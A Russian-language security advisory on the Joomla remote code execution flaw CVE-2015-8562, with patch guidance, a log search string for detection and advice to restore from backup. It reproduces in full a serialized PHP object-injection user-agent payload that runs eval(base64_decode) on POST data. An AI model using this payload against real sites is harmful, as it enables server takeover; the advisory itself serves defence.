Несколько дней назад была обнаружена уязвимость (CVE-2015-8562), которая затрагивает все версии Joomla, начиная с версии 1.5 и позволяет злоумышленнику удаленно выполнить любой код на сервере. Уязвимость возникла из-за недостаточной фильтрации информации о браузере (в частности, юзерагенте) при записи данных сессии в БД. Для актуальных версий Joomla уже доступен апдейт до версии 3.4.6, в котором уязвимость устранена. Если же вы пользуетесь версией 1.5 или 2.5, вам необходимо вручную заменить файл libraries/joomla/session/session.php на исправленный файл, который вы можете скачать отсюда: https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions

Также, можно по логам веб-сервера отследить пытались ли вас взломать. Для взлома, в строку юзер-агента записывается примерно следующее:

}__test|O:21:\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:60:\x22eval(base64_decode($_POST[111]));JFactory::getConfig();exit;\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\x9D\x8C\x86"

Таким образом, примерная строка для поиска в логах будет выглядеть как  __test|O:

Этого вполне достаточно для того, чтобы отсеять все правильные юзер-агенты и запросы от попыток эксплойта.

Если вдруг вы обнаружили у себя похожие записи в логе, будет лучше сразу восстановить сайт из бэкапа — в последнее время злоумышленники хорошо умеют заметать следы путем изменения даты создания файла, встраивания своего кода во многие системные файлы с последующим изменением даты и т.д. Выявить все места вручную — нереально.